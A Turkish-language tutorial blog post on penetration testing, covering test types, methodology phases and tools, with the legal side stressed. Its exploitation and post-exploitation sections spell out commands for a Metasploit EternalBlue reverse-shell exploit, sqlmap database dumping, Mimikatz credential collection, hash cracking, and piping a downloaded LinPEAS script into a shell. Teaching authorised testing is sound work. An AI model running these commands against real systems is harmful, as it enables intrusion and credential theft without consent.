Sızma Testi Nedir: Aşamalar ve Kullanılan Araçlar

Bir sistemi savunmak istiyorsan, önce onu nasıl kıracağını bilmen gerekiyor. Bu cümle klişe gibi görünebilir ama sızma testi dünyasının özeti tam olarak bu. Yıllar içinde onlarca kurumsal ağda güvenlik değerlendirmesi yaptım ve şunu net olarak söyleyebilirim: kağıt üzerinde güvenli görünen sistemlerin büyük çoğunluğu, gerçek bir saldırıya karşı beklenenden çok daha kırılgan.

Sızma testi (penetration testing ya da kısaca pentest), bir sistemi, ağı veya uygulamayı gerçek bir saldırganın bakış açısıyla inceleyerek güvenlik açıklarını tespit etme sürecidir. Ama bu tanımı biraz açmak lazım: sızma testi, bir güvenlik taraması değildir. Nessus çalıştırıp rapor almak sızma testi sayılmaz. Gerçek bir pentest, insan zekasını, metodolojisini ve yaratıcılığını merkeze alan, kontrollü bir saldırı simülasyonudur.

Sızma Testinin Türleri

Başlamadan önce kapsam meselesini netleştirmek şart. Çünkü yanlış tanımlanmış bir kapsam, hem testi yapan ekibi hem de kurumu ciddi riske atar.

Black Box (Kara Kutu): Test ekibine hedef sistem hakkında neredeyse hiçbir bilgi verilmez. Sadece bir IP aralığı ya da domain adı yeterlidir. Gerçek bir dış saldırganı simüle eder. Zaman alır ama en gerçekçi sonuçları verir.

White Box (Beyaz Kutu): Kaynak koda, mimari diyagramlara, kullanıcı hesaplarına tam erişim sağlanır. Daha çok code review ve mimari analiz içerir. Derin güvenlik açıklarını bulmak için idealdir.

Grey Box (Gri Kutu): İkisinin ortası. Genellikle kurumsal ağlarda iç tehdit senaryolarını simüle etmek için kullanılır. Bana sorarsanız en verimli yaklaşım budur: gereksiz keşif süresini kısaltırken yüzeysel taramadan da kaçınmış olursunuz.

Metodoloji: Aşamalar

Sızma testi rastgele bir süreç değildir. PTES (Penetration Testing Execution Standard), OWASP ve NIST gibi çerçeveler belirli bir metodoloji sunar. Ben kendi çalışmalarımda şu aşamaları takip ediyorum:

1. Planlama ve Kapsam Belirleme

Bu aşama masada geçer, klavyede değil. Hangi sistemler test edilecek, hangileri kapsam dışı? Sosyal mühendislik dahil mi? DoS saldırıları yapılacak mı? Bunlar yazılı olarak netleştirilmeden bir sonraki adıma geçmek hem etik hem de hukuki açıdan sorunludur.

Türkiye’deki bir büro ortamında çalışırken yaşadığım şu anı paylaşayım: kapsam belgesi yeterince netleştirilmemişti ve test sırasında eriştiğimiz bir sistem, müşteri firmanın değil, onların kiracısının ağına aitti. Erken durduk ama olayın yarattığı panik ortamı unutulmaz. O günden sonra kapsam belgesi hazırlamayı en az teknik hazırlık kadar ciddiye alıyorum.

2. Keşif (Reconnaissance)

Saldırganlar hedefe körü körüne gelmez. Önce bilgi toplarlar. Bu aşama iki kategoriye ayrılır:

Pasif Keşif: Hedefle doğrudan temas kurmadan bilgi toplama. OSINT (Open Source Intelligence) bu kategorinin temelidir.

# WHOIS sorgusu
whois hedef-domain.com.tr

# DNS kayıtlarını listeleme
dig hedef-domain.com.tr ANY
dig hedef-domain.com.tr MX
dig hedef-domain.com.tr TXT

# Subdomain tespiti için amass
amass enum -d hedef-domain.com.tr -o subdomains.txt

# theHarvester ile e-posta ve subdomain toplama
theHarvester -d hedef-domain.com.tr -b google,bing,linkedin -l 500

Aktif Keşif: Hedefe doğrudan paket göndererek bilgi toplama. Bu noktadan itibaren hedef sistem loglarında iz bırakılır.

# Nmap ile port tarama ve servis tespiti
nmap -sV -sC -O -p- --min-rate 5000 192.168.1.0/24 -oA tarama_sonuclari

# Belirli portlara odaklanma
nmap -sV -p 22,80,443,3306,8080 --script=banner 10.10.10.50

# UDP port tarama (genellikle unutulan ama kritik)
nmap -sU --top-ports 100 10.10.10.50

Nmap çıktısını yorumlamak başlı başına bir beceri. -sV servislerin versiyonlarını getirir, -sC default scriptleri çalıştırır. Ama şunu söyleyeyim: --min-rate 5000 gibi agresif ayarlar bazı IDS/IPS sistemlerini tetikler. Stealth önemliyse hızı düşürün.

3. Zafiyet Analizi

Keşif tamamlandıktan sonra toplanan bilgiler üzerinden zafiyetler tespit edilir. Otomatik tarama araçları burada yardımcı olur ama sonuçları körü körüne kabul etmemek lazım. False positive oranı düşündüğünüzden yüksektir.

# OpenVAS / Greenbone ile zafiyet tarama (CLI üzerinden)
gvm-cli socket --xml "<get_tasks/>"

# Nikto ile web sunucu tarama
nikto -h http://hedef-domain.com.tr -output nikto_rapor.txt

# WPScan ile WordPress güvenlik taraması
wpscan --url http://hedef-domain.com.tr --enumerate u,p,t --api-token API_TOKENINIZ

# SSL/TLS yapılandırma analizi
testssl.sh hedef-domain.com.tr

Nikto çok gürültülü bir araçtır, bunu bilin. Loglarınızda dikkat çeker. Ama hızlı bir genel bakış için hala değerlidir. testssl.sh ise SSL/TLS zafiyetlerini (POODLE, BEAST, Heartbleed vb.) tespit etmek için bence en temiz araçlardan biri.

4. Sömürü (Exploitation)

İşte burada pentest bir güvenlik taramasından ayrışır. Zafiyeti tespit etmek yetmez; gerçekten istismar edilip edilemeyeceğini kanıtlamak gerekir.

Metasploit Framework bu aşamanın vazgeçilmezi:

# Metasploit'i başlat
msfconsole

# Belirli bir zafiyet için modül ara
msf6 > search type:exploit name:eternalblue

# Modülü yükle ve yapılandır
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.50
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.10.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > run

Web uygulamaları için SQLMap oldukça güçlüdür:

# Temel SQL injection testi
sqlmap -u "http://hedef.com/sayfa.php?id=1" --dbs

# Cookie tabanlı oturum ile test
sqlmap -u "http://hedef.com/panel/" --cookie="session=abc123" --forms --dbs

# Belirli veritabanını dump etme
sqlmap -u "http://hedef.com/sayfa.php?id=1" -D hedefdb --tables --dump

Burada önemli bir not: SQLMap’in --dump komutu gerçek verileri çeker. Kapsam belgesinde veri okuma izni olduğundan emin olmadan bu adıma geçmeyin.

5. Yetki Yükseltme (Privilege Escalation)

Sisteme düşük yetkiyle girdiniz diyelim. Asıl kritik soru şu: root veya SYSTEM yetkisine ulaşabilir misiniz? Bu aşama genellikle en çok yaratıcılık gerektiren kısımdır.

Linux sistemlerinde yetki yükseltme vektörleri:

# SUID bit ayarlı dosyaları bul
find / -perm -u=s -type f 2>/dev/null

# Sudo yetkilerini kontrol et
sudo -l

# Zamanlanmış görevleri incele
cat /etc/crontab
ls -la /etc/cron.*

# Yazılabilir dosyaları bul
find / -writable -type f 2>/dev/null | grep -v proc

# Kernel versiyonunu al (exploit araştırması için)
uname -a
cat /etc/os-release

# LinPEAS ile otomatik yetki yükseltme keşfi
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

LinPEAS gerçekten müthiş bir araç. Bir sistem üzerinde çalıştırdığınızda onlarca potansiyel vektörü renkli kodlarla karşınıza dizer. Ama çıktıyı okumayı bilmek gerekiyor: her sarı uyarı kritik değildir.

6. Sonrası (Post-Exploitation)

Sistem ele geçirildikten sonra gerçek bir saldırganın ne yapacağını simüle edersiniz. Lateral movement (yatay hareket), persistence (kalıcılık) ve veri sızdırma bu aşamanın konularıdır.

# Meterpreter oturumunda ağ tespiti
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/windows/gather/credentials/credential_collector

# Mimikatz ile kimlik bilgisi toplama (Windows)
meterpreter > load kiwi
meterpreter > creds_all

# Ağdaki diğer sistemleri keşfet
meterpreter > run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24

Bu aşamada dikkatli olmak şart. Kimlik bilgisi toplamak, dosya okumak gibi işlemler kurumun verilerine dokunmak anlamına gelir. Her adım belgelenmeli ve kapsam sınırları asla aşılmamalı.

7. Raporlama

Teknik anlamda en az heyecan verici ama iş değeri açısından en kritik aşama. Bulduğunuz zafiyeti kimseye anlatamıyorsanız, o zafiyet kağıt üzerinde var olmaktan öteye geçmez.

İyi bir pentest raporu şunları içermelidir:

  • Yönetici özeti: Teknik bilmeyen okuyucular için 1-2 sayfalık genel tablo
  • Risk sınıflandırması: CVSS skorları veya özel bir risk matrisi
  • Teknik detaylar: Her zafiyet için adım adım reprodüksiyon adımları
  • Kanıt: Ekran görüntüleri, log çıktıları, exploit sonuçları
  • Düzeltme önerileri: Somut ve uygulanabilir aksiyonlar

Öne Çıkan Araçlar

Araç listesi her zaman tartışma konusudur. Ben en çok kullandıklarımı ve neden kullandığımı paylaşayım:

Nmap: Ağ keşfinin temeli. Alternatifleri var (masscan, rustscan) ama Nmap’in script motoru (NSE) rakipsiz.

Burp Suite: Web uygulama testlerinde standart. Community Edition ücretsiz ama Pro sürümünün aktif tarayıcısı ciddi fark yaratır.

Metasploit Framework: Exploit geliştirme ve yönetimi için endüstri standardı. Günlük olarak güncellenen exploit veritabanı büyük avantaj.

Wireshark / tcpdump: Ağ trafiği analizi için. Özellikle grey box testlerde iç ağda neler döndüğünü görmek için değerli.

John the Ripper / Hashcat: Parola hash’lerini kırmak için. Hashcat GPU hızlandırma desteklediği için modern sistemlerde çok daha hızlı.

Gobuster / ffuf: Web dizin ve dosya keşfi için. ffuf son yıllarda çok popüler oldu, özellikle vhost fuzzing için.

# ffuf ile web dizin keşfi
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://hedef.com/FUZZ -mc 200,301,302

# Gobuster ile subdomain keşfi
gobuster dns -d hedef-domain.com.tr -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Hashcat ile MD5 hash kırma
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show

Yasal ve Etik Boyut

Bu konuyu atlayan pentest yazıları eksik kalır. Türkiye’de Türk Ceza Kanunu’nun 243 ve 244. maddeleri bilişim sistemlerine izinsiz erişimi açıkça suç olarak tanımlar. Kapsam belgesi olmadan yapılan her test, iyi niyetle yapılsa bile ciddi hukuki risk taşır.

Şunu da ekleyeyim: bug bounty programları bu konuda iyi bir başlangıç noktası. HackerOne, Bugcrowd gibi platformlarda Türk şirketlerin de programları var. Yasal çerçevede gerçek sistemlerde pratik yapmanın en temiz yolu.

Kendi lab ortamınızı kurmak için VulnHub ve Hack The Box vazgeçilmez. HTB özellikle gerçek dünya senaryolarına yakınlığıyla değerli. Bir sysadmin olarak zaman ayırmaya değer.

Sızma Testi ve Red Team Farkı

Son dönemde bu iki kavram sıkça karıştırılıyor. Kısaca netleştirelim:

Sızma testi genellikle belirli sistemlere odaklanır, zaman sınırlıdır ve tüm güvenlik ekibi haberdardır (blue team bilir). Red team operasyonu ise daha geniş kapsamlıdır, uzun sürer ve genellikle blue team’den gizli tutulur. Amaç sadece sisteme girmek değil, kurumun tespit ve müdahale kapasitesini de ölçmektir. İkisi de değerli ama farklı olgunluk seviyelerindeki kurumlar için uygundur.

Sonuç

Sızma testi, bir kerelik yapılıp rafa kaldırılacak bir etkinlik değildir. Sistemler değişir, yeni zafiyetler ortaya çıkar, konfigürasyonlar güncellenir. Düzenli aralıklarla tekrarlanan pentest programları ve aradaki süreçte sürekli güvenlik izleme, gerçek anlamda savunma sağlar.

Türkiye’deki birçok kurumun hala “bir kere yaptırdık, tamamdır” yaklaşımında olduğunu görüyorum. Bu bakış açısı değişmeden, teknik araçlar ne kadar gelişirse gelişsin, sistemler açık kalmaya devam edecek. Pentest raporunda listelenen bulguları kapatmak işin yalnızca yarısı; diğer yarısı bu açıkların neden oluştuğunu anlamak ve süreçleri buna göre güncellemek.

Araçlar öğrenilebilir, metodoloji ezberlenebilir. Ama deneyimli bir saldırganın mantığıyla düşünebilmek, işte o gerçekten pratik ve emek ister. Lab kurun, CTF çözün, okuyun ve bir şeyler kırın, ama her zaman izinle.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir